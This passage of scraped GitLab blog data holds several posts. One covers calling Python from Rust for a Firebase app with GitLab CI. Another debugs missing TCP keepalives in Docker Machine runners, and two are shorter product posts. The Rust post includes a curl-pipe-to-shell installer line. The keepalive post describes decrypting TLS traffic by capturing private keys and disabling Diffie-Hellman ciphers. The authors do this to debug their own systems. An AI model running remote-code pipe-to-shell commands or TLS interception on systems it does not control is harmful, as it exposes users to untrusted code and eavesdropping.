and Firebase with web apps. But there was no functional library in Rust that could connect with Firebase and retrieve data from the database.\n\nMario came up with a solution: use Python.\n\n_More of a video person? Watch Mario’s entire presentation from GitLab Commit London in the video below, or follow along step by step in this blog post._\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/BYfJBa_79Xo\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Using Python and Rust together\n\nIn his presentation at GitLab Commit London, Mario demonstrated how he managed to build a Firebase web application in Rust using Python, and deploy it using GitLab CI so fellow GitLab users can try to replicate his process, or get some input if they're also having difficulties.\n\n### Configure your environment\n\nThe first step is to make sure that your environment is properly configured. To use both Python, Rust, and GitLab CI, you’ll need the following on your machine:\n\n*   Git\n*   [GCC](https://crates.io/crates/gcc)\n    *   Rust needs a C compiler and Cargo, which is the package manager for Rust projects\n*   Rust\n    *   Nightly mode for this project\n    *   Cargo\n*   Python 3.5+\n    *   [pipenv](https://github.com/pypa/pipenv) for managing dependencies\n\nInstall Rust using [Rustup](https://rustup.rs/) by typing the code below into your terminal.\n\n`curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh`\n\nYou’ll also need to install bindings to run Python code directly from Rust, and that will also help with writing Python models using Rust code. Mario recommends [CPython](https://crates.io/crates/cpython)and [Py03](https://crates.io/crates/pyo3), but used CPython in this demo.\n\n### Kick-start your project\n\nNext, Mario describes the general process for creating a project using Python and Rust.\n\nCargo is a package manager for Rust projects, and will create a Cargo.toml file and src/ directory when its run. The Cargo.toml file is the manifest for the application and includes the dependencies the project requires. Within the src/ file is a [main.rs file](https://gitlab.com/mattdark/firebase-example/blob/master/src/main.rs) that contains an example of a Rust application.\n\nThe next step is to move through the src/ directory Cargo created to set up the default toolchain for the project.\n\n```ruby\n[package]\nname = \"firebase_sample\"\nversion = \"0.1.0\"\nauthors = [\"mattdark\"]\nedition = \"2018\"\n[dependencies]\ncpython = \"0.3\"\nserde = \"1.0.99\"\nserde_derive = \"1.0.99\"\nserde_json = \"1.0.40\"\nrocket = \"0.4.2\"\n[dependencies.rocket_contrib]\nversion = \"0.4\"\nfeatures = [\"handlebars_templates\"]\n```\n\nThe Cargo.toml file will show the name of the application, the version, authors etc. And if you’re working on Linux, it will take the user of your system and put it as the author of the project.\n{: .note}\n\n“The dependencies that we need for the project are CPython for the Python part, [Serde](https://serde.rs/), which is a library that help us with reading information for files like JSON, and Rocket, which is a web framework for Rust,” said Mario.\n\nNext, set the [Nightly version of Rust](https://doc.rust-lang.org/1.2.0/book/nightly-rust.html) as the default toolchain for the project.\n\nAdd a ‘python’ directory to src/ directory, where you’ll be adding the Python models required for this project to this directory.\n\nOnce the src/python is set-up, add the Pipfile or [requirements.txt file](https://gitlab.com/mattdark/firebase-example/blob/master/requirements.txt) for the dependencies of the Python module to the directory.\n\n```ruby\n[[source]]\nname = \"pypi\"\nurl = \"https://pypi.org/simple\"\nverify_ssl = true\n[dev-packages]\n[packages]\nfirebase = \"*\"\npython-jwt = \"*\"\ngcloud = \"*\"\nsseclient = \"*\"\npycrypto = \"*\"\nrequests-toolbelt = \"*\"\n[requires]\npython_version = \"3.7.3\"\n```\n\nThe Pipfile is an example of a project used for Firebase. Included here is all the dependencies we need for Firebase in the file, as well as the Python version in use.\n{: .note}\n\nNext write the Rust code in src/main.rs and add the Python scripts in src/python.\n\n### Writing the Python code\n\nMario’s Firebase application is designed to rake a database of speaker information and automatically generate certificates of participation in PDF format.\n\n```\n{\n  \"slides\" : {\n    \"privacymatters\" : {\n      \"description\" : \"Talk about privacy & security\",\n      \"file\" : \"privacy-matters.md\",\n      \"id\" : \"2\",\n      \"screenshot\" : \"/img/screenshot/privacy-matters.png\",\n      \"theme\" : \"mozilla.css\",\n      \"title\" : \"Why Privacy Matters?\",\n      \"url\" : \"privacy-matters\"\n    },\n    \"rust101\" : {\n      \"description\" : \"Introduction to Rust\",\n      \"file\" : \"rust-101.md\",\n      \"id\" : \"1\",\n      \"screenshot\" : \"/img/screenshot/rust-101.png\",\n      \"theme\" : \"mozilla.css\",\n      \"title\" : \"Rust 101\",\n      \"url\" : \"rust-101\"\n    },\n    \"rustrocket\" : {\n      \"description\" : \"Building Web Apps with Rust + Rocket\",\n      \"file\" : \"rust-rocket.md\",\n      \"id\" : \"3\",\n      \"screenshot\" : \"/img/screenshot/rust-rocket.png\",\n      \"theme\" : \"mozilla.css\",\n      \"title\" : \"Rust + Rocket\",\n      \"url\" : \"rust-rocket\"\n    },\n    \"whyrust\" : {\n      \"description\" : \"What is Rust and Why Learn it?\",\n      \"file\" : \"why-rust.md\",\n      \"id\" : \"4\",\n      \"screenshot\" : \"/img/screenshot/why-rust.png\",\n      \"theme\" : \"mozilla.css\",\n      \"title\" : \"Why Rust?\",\n      \"url\" : \"why-rust\"\n    }\n  }\n}\n```\n{: .language-ruby}\n\nInformation about Mario’s Firebase application lives in this JSON file of the Firebase database.\n{: .note}\n\nThe application is written in Rust, and therefore needed a Firebase connector. But since the is not a functional Firebase crate, Mario had to think outside the box and use the Python library.\n\n```\nimport json\nfrom firebase import Firebase\ndef read_data(self):\n    config = {\n        \"apiKey\": \"APIKEY\",\n        \"authDomain\": \"fir-speakers.firebaseapp.com\",\n        \"databaseURL\": \"https://fir-speakers.firebaseio.com\",\n        \"projectId\": \"fir-speakers\",\n        \"storageBucket\": \"\",\n        \"messagingSenderId\": \"MESSAGINGSENDERID\"\n    }\n    firebase = Firebase(config)\n    speaker = list()\n    db = firebase.database()\n    all_speakers = db.child(\"speakers\").get()\n    for x in all_speakers.each():\n        speaker.append(x.val())\n    s = json.dumps(speaker)\n    return s\n```\n{: .language-ruby}\n\n“For the Python part of the project, we have to connect to the Firebase database, retrieve the data and save it to a variable that later we will convert to JSON so that Rust can correctly rake the data and pass it to the HTML5,” said Mario.\n\n### Troubleshooting\n\nThere was a profound lack of documentation about how to use Rust and Python together to build a Firebase application, and Mario ran into even more hurdles as he tried to troubleshoot.\n\nThe two major problems that he was trying to solve were:\n\n*   Calling a Python script (.py) from Rust\n*   Passing a value from Rust to Python\n\n“In the Github repositories for these projects – well at least for the library that I'm using – there is no information about how you can do those tasks,” said Mario.\n\nAfter hours of researching and testing, he discovered a solution.\n\n### Building the Project\n\nMario was able to run the Python script from Rust and execute the function that connects to the Firebase database. Once connected to the Firebase database, the process will retrieve the data and funnel it back to Rust as JSON.\n\n![Rust code](https://about.gitlab.com/images/blogimages/python_and_rust_post/rust-code.jpg){: .shadow.medium.center}\n\nAfter some troubleshooting, Mario discovered the proper code to run in Rust to bridge the gap between Rust and the Firebase application.\n{: .note-text.center}\n\nNext, the Rust code will convert the values into a HashMap, and pass that information to an HTML file.\n\nNow that the project is built, it’s time to run it using:\n\n```\ncargo run\npipenv run cargo run\n```\nTo see your project type `localhost:8000` into the web browser.\nThe result should look similar to what you see here and in the [GitLab project](https://gitlab.com/mattdark/reveal-js-gallery).\n\n![GitLab project preview](https://about.gitlab.com/images/blogimages/python_and_rust_post/gitlabproject.jpg){: .shadow.medium.center}\n\n## Deploying the application with GitLab CI\n\n### Dockerize the application\n\nTo configure for GitLab CI, Mario had to choose a Docker image for running the test and deployment. There is a custom Docker image for Rust that can be customized to fit the specific version for Rust, which in this case is Rust Nightly.\n\n`rustlang/rust:nightly`\n\n“The problem is that the Python version that is installed in these Docker image is based on Debian image itself, so we need pipenv and we need other tools to be installed,” said Mario.\n\nSo Mario customized the Docker image and generated a second one that has the pipenv components.\n\n### Create the repository\n\nNow that the Docker images are configured for the application, it’s time to create the repository and upload the code using the Terminal or GitKraken.\n\nThe next – and arguably the most important – step in the process is **documentation**. Mario urges all users to upload any and all relevant files to the repository, such as the README, LICENSE, CODE_OF_CONDUCT.md, etc.\n\nOnce the necessary files are uploaded into the repository, it’s time to start configuring for GitLab CI.\n\nMario recommends using Gitignore.io to the .gitignore file for the technologies being used for the project (in this case, Rust or Python). There are three key files that need to be written to configure the pipelines required for running GitLab CI:\n\n*   **Procfile**: A way to tell a platform like Heroku what is the binary file for the project. Since the project is being developed with Rust, it will generate a binary file that needs to be executed.\n*   **RustConfig**: Contains the version of Rust we are using for the project.\n*   **Rocket.toml**: Can be used to specify the configuration parameters for the environment.\n\nYou can find examples of these files in the [Firebase example project on GitLab](https://gitlab.com/mattdark/firebase-example/tree/prod).\n\n### GitLab CI\n\nAll of these efforts go into preparing the application for deployment using GitLab CI. Deployment with GitLab CI is simple, because each stage of the deployment process lives in a yaml file. [Mario’s gitlab-ci.yml file](https://gitlab.com/mattdark/firebase-example/blob/master/.gitlab-ci.yml) only includes the build and production stages, but [more comprehensive information about GitLab CI is available here](https://docs.gitlab.com/ee/ci/).\n\n## Document, document, document\n\nThe lack of documentation created significant delays for Mario as he tried to get his Firebase application off the ground. While in this case the information he required was difficult to track down even in English, there are even more substantial barriers for non-native English speakers or non-English speaking programmers.\n\n>>“I'm from Mexico, so I'm living in a Spanish-speaking country and I started learning English 15 years ago. That means that I'm in a privileged position. When we are writing the documentation sometimes, we forget that not many people have the opportunity to learn English,” said Mario. “I'm talking about English because most of the information and documentation of technologies that are available in this language. So if we live in a non-English speaking country, don't forget to write the documentation in our native language.”\n\nHis comments resonated strongly with the GitLab Commit London audience.\n\n{::options parse_block_html=\"false\" /}\n\n\u003Cdiv class=\"center\">\n\n\u003Cblockquote class=\"twitter-tweet\">\u003Cp lang=\"en\" dir=\"ltr\">This is so important for accessibility.\u003Cbr>\u003Cbr>Same goes for filling documentation full of jargon and marketing terms.\u003Cbr>\u003Cbr>Documentation is there to inform those who don&#39;t have the knowledge, presuming knowledge just furthers a toxic culture of gatekeeping. \u003Ca href=\"https://t.co/k7EILtHuvy\">pic.twitter.com/k7EILtHuvy\u003C/a>\u003C/p>&mdash; Matt Smith (@Harmelodic) \u003Ca href=\"https://twitter.com/Harmelodic/status/1181946002720411648?ref_src=twsrc%5Etfw\">October 9, 2019\u003C/a>\u003C/blockquote> \u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\nJoin us at GitLab Commit San Francisco to hear about the innovative ways users like Mario are using GitLab and other open source technologies! Registration information is available below.\n\nCover image by [Jack Carter](https://unsplash.com/@carterjack) on [Unsplash](https://unsplash.com/s/photos/lightbulb).\n{: .note}\n",[110,267,4772],{"slug":26369,"featured":6,"template":678},"python-rust-and-gitlab-ci","content:en-us:blog:python-rust-and-gitlab-ci.yml","Python Rust And Gitlab Ci","en-us/blog/python-rust-and-gitlab-ci.yml","en-us/blog/python-rust-and-gitlab-ci",{"_path":26375,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":26376,"content":26382,"config":26387,"_id":26389,"_type":16,"title":26390,"_source":17,"_file":26391,"_stem":26392,"_extension":20},"/en-us/blog/tracking-down-missing-tcp-keepalives",{"title":26377,"description":26378,"ogTitle":26377,"ogDescription":26378,"noIndex":6,"ogImage":26379,"ogUrl":26380,"ogSiteName":1180,"ogType":1181,"canonicalUrls":26380,"schema":26381},"Tracking TCP Keepalives: Lessons in Docker, Golang & GitLab","An in-depth recap of debugging a bug in the Docker client library.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680874/Blog/Hero%20Images/network.jpg","https://about.gitlab.com/blog/tracking-down-missing-tcp-keepalives","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"What tracking down missing TCP Keepalives taught me about Docker, Golang, and GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Stan Hu\"}],\n        \"datePublished\": \"2019-11-15\",\n      }",{"title":26383,"description":26378,"authors":26384,"heroImage":26379,"date":26365,"body":26385,"category":734,"tags":26386},"What tracking down missing TCP Keepalives taught me about Docker, Golang, and GitLab",[731],"\n\nThis blog post was originally published on the GitLab Unfiltered blog. It was reviewed and republished on 2019-12-03.\n{: .alert .alert-info .note}\n\nWhat began as failure in a GitLab static analysis check led to a\ndizzying investigation that uncovered a subtle [bug in the Docker client\nlibrary code](https://github.com/docker/for-linux/issues/853) used by\nthe GitLab Runner. We ultimately worked around the problem by upgrading\nthe Go compiler, but in the process we uncovered an unexpected change in\nthe Go TCP keepalive defaults that fixed an issue with Docker and GitLab\nCI.\n\nThis investigation started on October 23, when backend engineer [Luke\nDuncalfe](/company/team/#.luke) mentioned, \"I'm seeing\n[`static-analysis` failures with no output](https://gitlab.com/gitlab-org/gitlab/-/jobs/331174397).\nIs there something wrong with this job?\" He opened [a GitLab\nissue](https://gitlab.com/gitlab-org/gitlab/issues/34951) to discuss.\n\nWhen Luke ran the static analysis check locally on his laptop, he saw\nuseful debugging output when the test failed. For example, an extraneous\nnewline would accurately be reported by Rubocop. However, when the same\ntest ran in GitLab's automated test infrastructure, the test failed\nquietly:\n\n![Failed job](https://about.gitlab.com/images/blogimages/docker-tcp-keepalive-debug/job-failure.png){: .shadow.center}\n\nNotice how the job log did not include any clues after the `bin/rake\nlint:all` step. This made it difficult to determine whether a real\nproblem existed, or whether this was just a flaky test.\n\nIn the ensuing days, numerous team members reported the same problem.\nNothing kills productivity like silent test failures.\n\n## Was something wrong with the test itself?\n\nIn the past, we had seen that if that specific test generated enough\nerrors, [the output buffer would fill up, and the continuous integration\n(CI) job would lock\nindefinitely](https://gitlab.com/gitlab-org/gitlab-foss/issues/61432). We\nthought we had [fixed that issue months\nago](https://gitlab.com/gitlab-org/gitlab-foss/merge_requests/28402). Upon\nfurther review, that fix seemed to eliminate any chance of a thread\ndeadlock.\n\nDid we have to flush the buffer? No, because the Linux kernel will do\nthat for an exiting process already.\n\n## Was there a change in how CI logs were handled?\n\nWhen a test runs in GitLab CI, the [GitLab\nRunner](https://gitlab.com/gitlab-org/gitlab-runner/) launches a Docker\ncontainer that runs commands specified by a `.gitlab-ci.yml` inside the\nproject repository. As the job runs, the runner streams the output to\nthe GitLab API via PATCH requests. The GitLab backend saves this data\ninto a file. The following sequence diagram shows how this works:\n\n```plantuml\n== Get a job! ==\nRunner -> GitLab: POST /api/v4/jobs/request\nGitLab -> Runner: 201 Job was scheduled\n\n== Job sends logs (1 of 2) ==\nRunner -> GitLab: PATCH /api/v4/job/:id/trace\nGitLab -> File: Save to disk\nGitLab -> Runner: 202 Accepted\n\n== Job sends logs (2 of 2) ==\nRunner -> GitLab: PATCH /api/v4/job/:id/trace\nGitLab -> File: Save to disk\nGitLab -> Runner: 202 Accepted\n```\n\n[Henrich Lee Yu](/company/team/#engwan) mentioned\nthat we had recently [disabled a feature flag that changed how GitLab\nhandled CI job\nlogs](https://docs.gitlab.com/ee/administration/job_logs.html#new-incremental-logging-architecture). [The\ntiming seemed to line\nup](https://gitlab.com/gitlab-org/gitlab/issues/34951#note_236723888).\n\nThis feature, called live CI traces, eliminates the need for a shared\nPOSIX filesystem (e.g., NFS) when saving job logs to disk by:\n\n1. Streaming data into memory via Redis\n2. Persisting the data in the database (PostgreSQL)\n3. Archiving the final data into object storage\n\nWhen this flag is enabled, the flow of CI job logs looks something like\nthe following:\n\n```plantuml\n== Get a job! ==\nRunner -> GitLab: POST /api/v4/jobs/request\nGitLab -> Runner: 201 Job was scheduled\n\n== Job sends logs ==\nRunner -> GitLab: PATCH /api/v4/job/:id/trace\nGitLab -> Redis: Save chunk\nGitLab -> Runner: 202 Accepted\n...\n== Copy 128 KB chunks from Redis to database ==\nGitLab -> Redis: GET gitlab:ci:trace:id:chunks:0\nGitLab -> PostgreSQL: INSERT INTO ci_build_trace_chunks\n...\n== Job finishes ==\n\nRunner -> GitLab: PUT /api/v4/job/:id\nGitLab -> Runner: 200 Job was updated\n\n== Archive trace to object storage ==\n```\n\nLooking at the flow diagram above, we see that this approach has more\nsteps. After receiving data from the runner, something could have gone\nwrong with handling a chunk of data. However, we still had many\nquestions:\n\n1. Did the runners send the right data in the first place?\n1. Did GitLab drop a chunk of data somewhere?\n1. Did this new feature actually have anything to do with the problem?\n1. Are they really making another Gremlins movie?\n\n## Reproducing the bug: Simplify the `.gitlab-ci.yml`\n\nTo help answer those questions, we simplified the `.gitlab-ci.yml` to\nrun only the `static-analysis` step. We inserted a known Rubocop error,\nreplacing a `eq` with `eql`. We first ran this test on a separate GitLab\ninstance with a private runner. No luck there – the job showed the right\noutput:\n\n```\nOffenses:\n\nee/spec/models/project_spec.rb:55:42: C: RSpec/BeEql: Prefer be over eql.\n        expect(described_class.count).to eql(2)\n                                         ^^^\n\n12669 files inspected, 1 offense detected\n```\n\nHowever, we repeated the test on our staging server and found that we\nreproduced the original problem. In addition, the live CI trace feature\nflag had been activated on staging. Since the problem occurred with and\nwithout the feature, we could eliminate that feature as a possible\ncause.\n\nPerhaps something with the GitLab server environment caused a\nproblem. For example, could the load balancers be rate-limiting the\nrunners? As an experiment, we pointed a private runner at the staging\nserver and re-ran the test. This time, it succeeded: the output was\nshown. That seemed to suggest that the problem had more to do with the\nrunner than with the server.\n\n## Docker Machine vs. Docker\n\nOne key difference between the two tests: One runner used a shared,\nautoscaled runner using a [Docker\nMachine](https://docs.docker.com/machine/overview/) executor, and the\nprivate runner used a [Docker\nexecutor](https://docs.gitlab.com/runner/executors/docker.html).\n\nWhat does Docker Machine do exactly? The following diagram may help\nillustrate:\n\n![Docker Machine](https://docs.docker.com/machine/img/machine.png){: .medium.center}\n\nThe top-left shows a local Docker instance. When you run Docker from the\ncommand-line interface (e.g., `docker attach my-container`), the program\njust makes [REST calls to the Docker Engine\nAPI](https://docs.docker.com/engine/api/v1.40/).\n\nThe rest of the diagram shows how Docker Machine fits into the\npicture. Docker Machine is an entirely separate program. The GitLab\nRunner shells out to `docker-machine` to create and destroy virtual\nmachines using cloud-specific (e.g. Amazon, Google, etc.) drivers. Once\na machine is running, the runner then uses the Docker Engine API to run,\nwatch, and stop containers.\n\nNote that this API is used securely over an HTTPS connection. This is an\nimportant difference between the Docker Machine executor and Docker\nexecutor: The former needs to communicate across the network, while the\nlatter can either use a local TCP socket or UNIX domain socket.\n\n## Google Cloud Platform timeouts\n\nWe've known for a while that Google Cloud [has a 10-minute idle\ntimeout](https://cloud.google.com/compute/docs/troubleshooting/general-tips),\nwhich has caused issues in the past:\n\n> Note that idle connections are tracked for a maximum of 10 minutes,\n> after which their traffic is subject to firewall rules, including the\n> implied deny ingress rule. If your instance initiates or accepts\n> long-lived connections with an external host, you should adjust TCP\n> keep-alive settings on your Compute Engine instances to less than 600\n> seconds to ensure that connections are refreshed before the timeout\n> occurs.\n\nWas the problem caused by this timeout? With the Docker Machine\nexecutor, we found that we could reproduce the problem with a simple\n`.gitlab-ci.yml`:\n\n```yaml\nimage: \"busybox:latest\"\n\ntest:\n  script:\n    - date\n    - sleep 601\n    - echo \"Hello world!\"\n    - date\n    - exit 1\n```\n\nThis would reproduce the failure, where we would never see the `Hello\nworld!` output. Changing the `sleep 601` to `sleep 599` would make the\nproblem go away. Hurrah! All we have to do is tweak the system TCP\nkeepalives, right? Google provided these sensible settings:\n\n```sh\nsudo /sbin/sysctl -w net.ipv4.tcp_keepalive_time=60 net.ipv4.tcp_keepalive_intvl=60 net.ipv4.tcp_keepalive_probes=5\n```\n\nHowever, enabling these kernel-level settings didn't solve the\nproblem. Were keepalives even being sent? Or was there some other issue?\nWe turned our attention to network traces.\n\n## Eavesdropping on Docker traffic\n\nIn order to understand what was happening, we needed to be able to\nmonitor the network communication between the runner and the Docker\ncontainer. But how exactly does the GitLab Runner stream data from a\nDocker container to the GitLab server?  The following diagram\nillustrates the flow:\n\n```plantuml\nRunner -> Docker: POST /containers/name/attach\nDocker -> Runner: \u003Ccontainer output>\nDocker -> Runner: \u003Ccontainer output>\nRunner -> GitLab: PATCH /api/v4/job/:id/trace\nGitLab -> File: Save to disk\nGitLab -> Runner: 202 Accepted\n```\n\nFirst, the runner makes a [POST request to attach to the container\noutput](https://docs.docker.com/engine/api/v1.40/#operation/ContainerAttach).\nAs soon as a process running in the container outputs some data, Docker\nwill transmit the data over this HTTPS stream. The runner then copies\nthis data to GitLab via the PATCH request.\n\nHowever, as mentioned earlier, traffic between a GitLab Runner and the\nremote Docker machine is encrypted over HTTPS on port 2376. Was there an\neasy way to disable HTTPS? Searching through the code of Docker Machine,\nwe found that it did not appear to be supported out of the box.\n\nSince we couldn't disable HTTPS, we had two ways to eavesdrop:\n\n1. Use a man-in-the-middle proxy (e.g. [mitmproxy](https://mitmproxy.org/))\n1. Record the traffic and decrypt the traffic later using the private keys\n\n## Ok, let's be the man-in-the-middle!\n\nThe first seemed more straightforward, since [we already had experience\ndoing this with the Docker\nclient](https://docs.gitlab.com/ee/administration/packages/container_registry.html#running-the-docker-daemon-with-a-proxy).\n\nHowever, after [defining the proxy variables for GitLab\nRunner](https://docs.gitlab.com/runner/configuration/proxy.html#adding-proxy-variables-to-the-runner-config),\nwe found we were only able to intercept the GitLab API calls with\n`mitmproxy`. The Docker API calls still went directly to the remote\nhost. Something wasn't obeying the proxy configuration, but we didn't\ninvestigate further. We tried the second approach.\n\n## Decrypting TLS data\n\nTo decrypt TLS data, we would need to obtain the encryption keys. Where\nwere these located for a newly-created system with `docker-machine`? It\nturns out `docker-machine` worked in the following way:\n\n1. Call the Google Cloud API to create a new machine\n1. Create a `/root/.docker/machine/machines/:machine_name` directory\n1. Generate a new SSH keypair\n1. Install the SSH key on the server\n1. Generate a new TLS certificate and key\n1. Install and configure Docker on the newly-created machine with TLS certificates\n\nAs long as the machine runs, the directory will contain the information\nneeded to decode this traffic. We ran `tcpdump` and saved the private keys.\n\nOur first attempt at decoding the traffic failed. Wireshark could not\ndecode the encrypted traffic, although general TCP traffic could still\nbe seen. Researching more, we found out why: If the encrypted traffic\nused a [Diffie-Hellman key\nexchange](https://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange),\nhaving the private keys would not suffice! This is by design, a property\ncalled [perfect forward\nsecrecy](https://en.m.wikipedia.org/wiki/Forward_secrecy).\n\nTo get around that limitation, we modified the GitLab Runner to disable\ncipher suites that used the Diffie-Hellman key exchange:\n\n```diff\ndiff --git a/vendor/github.com/docker/go-connections/tlsconfig/config_client_ciphers.go b/vendor/github.com/docker/go-connections/tlsconfig/config_client_ciphers.go\nindex 6b4c6a7c0..a3f86d756 100644\n",[267,1067,534,1384,923,1384,944,942,754],{"slug":26388,"featured":6,"template":678},"tracking-down-missing-tcp-keepalives","content:en-us:blog:tracking-down-missing-tcp-keepalives.yml","Tracking Down Missing Tcp Keepalives","en-us/blog/tracking-down-missing-tcp-keepalives.yml","en-us/blog/tracking-down-missing-tcp-keepalives",{"_path":26394,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":26395,"content":26400,"config":26405,"_id":26407,"_type":16,"title":26408,"_source":17,"_file":26409,"_stem":26410,"_extension":20},"/en-us/blog/how-you-can-help-shape-the-future-of-securing-applications-at-gitlab",{"title":26396,"description":26397,"ogTitle":26396,"ogDescription":26397,"noIndex":6,"ogImage":11956,"ogUrl":26398,"ogSiteName":1180,"ogType":1181,"canonicalUrls":26398,"schema":26399},"How you can help shape the future of securing applications with GitLab","We want to provide the best experience in keeping your application safe after your code is in production.","https://about.gitlab.com/blog/how-you-can-help-shape-the-future-of-securing-applications-at-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How you can help shape the future of securing applications with GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Emily von Hoffmann\"}],\n        \"datePublished\": \"2019-11-14\",\n      }",{"title":26396,"description":26397,"authors":26401,"heroImage":11956,"date":26402,"body":26403,"category":299,"tags":26404},[22017],"2019-11-14","This blog post was originally published on the GitLab Unfiltered blog. It was reviewed and republished on 2019-12-09.\n\nAs part of our vision to deliver the entire DevOps lifecycle in a single application, we’re designing an experience that will allow security professionals to collaborate directly with developers. We need your help to make it the best it can be!\n\nOur newest product stage is Protect, and it’s an exciting time as we continue to define our [strategy and roadmap](/direction/govern/). The Protect UX team’s goal is to provide the best experience in keeping your application safe after your code is in production. This includes all features that help you defend your applications and cloud infrastructure by giving you the ability to identify, catalogue, manage, and remediate threats, vulnerabilities, and risks.\n\nSome of the new categories we’re planning for in 2020 include Runtime Application Self Protection, Threat Detection, User Entity and Behavioral Analytics and [more](/handbook/product/categories/#protect-section).\n\nWe have a ton of UX research planned to help us learn more about this new category, and we hope you consider adding your voice.\n\n### Our users' jobs to be done\n\nFrom what we know so far, the Protect user is responsible for maintaining the security of their company’s environments and applications. They seem to have a wide variety of job titles, including security analyst and SecOps engineer.\n\nWe aim to understand our different users’ motivations and goals by identifying their primary [jobs to be done](https://hbr.org/2016/09/know-your-customers-jobs-to-be-done). For the Protect user, these include things like:\n\n> When I make sure my company’s applications aren’t vulnerable to bad actors, I want to monitor the traffic coming to my application and detect the possibility of an attack (SQL injection attempts, XSS attempts, vulnerability scanners, etc.) so I can know what parts of the application I need to protect better.\n\n### Our recruiting challenge\n\nPerhaps because we’re best known for our origins in source code management, we usually have an abundance of participants who fit our software developer persona when we’re recruiting for studies. Newer personas like our Protect users have been more elusive by comparison — we’ve attempted studies where we couldn’t find a single human to speak with.\n\nThis is a real problem for us, as we believe strongly in evidence-based design. We want to build for your actual wants and needs as opposed to our assumptions about them.\n\n### How you can help\n\nIf any of this sounds like you, please sign up to our research program, [GitLab First Look](/community/gitlab-first-look/)! When you join, you can indicate exactly which product areas and types of research you’re interested in. We’ll send you invitations to participate when you match with studies.\n\nQuestions? Reach out to me on [twitter](https://twitter.com/EmvonHoffmann).\n\n[Sam Kerr](/company/team/#stkerr) and [Tali Lavi](/company/team/#tlavi) contributed to this post.\n\nCover image by [Rashid Khreiss](https://unsplash.com/@rush_intime) on [Unsplash](https://unsplash.com).\n",[2249,676],{"slug":26406,"featured":6,"template":678},"how-you-can-help-shape-the-future-of-securing-applications-at-gitlab","content:en-us:blog:how-you-can-help-shape-the-future-of-securing-applications-at-gitlab.yml","How You Can Help Shape The Future Of Securing Applications At Gitlab","en-us/blog/how-you-can-help-shape-the-future-of-securing-applications-at-gitlab.yml","en-us/blog/how-you-can-help-shape-the-future-of-securing-applications-at-gitlab",{"_path":26412,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":26413,"content":26419,"config":26424,"_id":26426,"_type":16,"title":26427,"_source":17,"_file":26428,"_stem":26429,"_extension":20},"/en-us/blog/cloud-native-architectures-made-easy",{"title":26414,"description":26415,"ogTitle":26414,"ogDescription":26415,"noIndex":6,"ogImage":26416,"ogUrl":26417,"ogSiteName":1180,"ogType":1181,"canonicalUrls":26417,"schema":26418},"Simplifying and optimizing cloud native architectures","Learn what cloud native architectures are, how to optimize them using GitLab's cohesive approach and what features you can use to help be more efficient.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671263/Blog/Hero%20Images/cloudarchitecture.jpg","https://about.gitlab.com/blog/cloud-native-architectures-made-easy","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Simplifying and optimizing cloud native architectures\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Suri Patel\"}],\n        \"datePublished\": \"2019-11-13\",\n      }",{"title":26414,"description":26415,"authors":26420,"heroImage":26416,"date":26421,"body":26422,"category":299,"tags":26423},[20767],"2019-11-13","\nMany teams embark on a journey to strengthen operations and development. Whether it’s battling monolithic applications by adopting containers and microservices or attempting to elevate a mature architecture by switching CI/CD tools, it is important to have a solution with robust cloud native support. When containers and cloud native workflows are easy to set and maintain, teams increase operational efficiency and can focus on delivering better products faster.\n\n## What goes into a cloud native architecture?\n\n[Cloud native applications](/topics/cloud-native/) are built using [microservices](/topics/microservices/) rather than a monolithic application structure. You can think of microservices as smaller pieces that unite to perform a specific action. Microservices can be scaled based on load, creating a more resilient environment. Container orchestration tools, like [Kubernetes](/solutions/kubernetes/), enable developers to manage the way an application’s containers function, including scaling and deployment.\n\nEmbracing cloud native architectures results in an increase in developer time, a decrease in the amount of money spent on monitoring and scaling application resources (through cloud orchestration and container schedulers), and faster shipping.\n\n## GitLab is designed for cloud native architectures\n\nGitLab’s [Kubernetes](/solutions/kubernetes/) integration, [built-in container registry](https://docs.gitlab.com/ee/user/packages/container_registry/index.html), and advanced [CI/CD features](/solutions/continuous-integration/) support microservices, such as multi-project pipelines, and monorepo projects. Furthermore, teams can keep the same workflow regardless of which cloud apps they are deploying to, so there’s no need to rework your entire process.\n\n## Why choose GitLab for your cloud native needs\n\nGitLab has a prominent place in the cloud native ecosystem and according to Forrester: [“GitLab’s simple and cohesive approach lands it squarely as a leader. GitLab's approach of having a single application to manage each phase of software development comes through in its developer experience”](/analysts/forrester-cloudci19/).\n\nGitLab doesn’t require manual and painstaking scripts. Our tool has native capabilities for Kubernetes integration and an out-of-the-box solution for advanced deployment flows for progressive delivery, like incremental rollout and canary deploys. GitLab also comes with [feature flagging as a built-in capability](/blog/feature-flags-continuous-delivery/), eliminating the need for a third-party solution.\n\nGitLab’s [multicloud](/topics/multicloud/) strategy with workflow portability increases operational efficiencies and makes it the easiest way to build cloud native applications.\n\nCover image by [Julian Santa Ana](https://unsplash.com/@jul_xander) on [Unsplash](https://unsplash.com/photos/FKqH1QhUqaw)\n{: .note}\n",[110,3949],{"slug":26425,"featured":6,"template":678},"cloud-native-architectures-made-easy","content:en-us:blog:cloud-native-architectures-made-easy.yml","Cloud Native Architectures Made 